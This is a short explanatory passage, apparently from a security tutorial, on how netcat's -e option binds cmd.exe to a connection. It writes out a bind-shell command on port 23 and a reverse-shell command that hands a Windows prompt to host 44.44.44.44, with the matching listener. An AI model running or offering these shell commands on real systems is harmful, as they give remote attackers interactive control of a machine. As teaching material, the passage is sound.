The netcat tool offers – among other features – the ability to bind a program’s output to an outbound or a listening connection. The following usage examples show how to setup a listening “Command Prompt Daemon” or how to connect to a remote endpoint and provide an interactive command prompt:
nc –l –p 23 –e cmd.exe
A Windows prompt will be available to hosts connecting to port 23 (the -l option stands for listen mode as opposed to the default, implicit, connect mode).
nc –e cmd.exe 44.44.44.44 23
A Windows prompt is available to host 44.44.44.44 if host 44.44.44.44 is listening on port 23 using the netcat command:
nc -l -p 23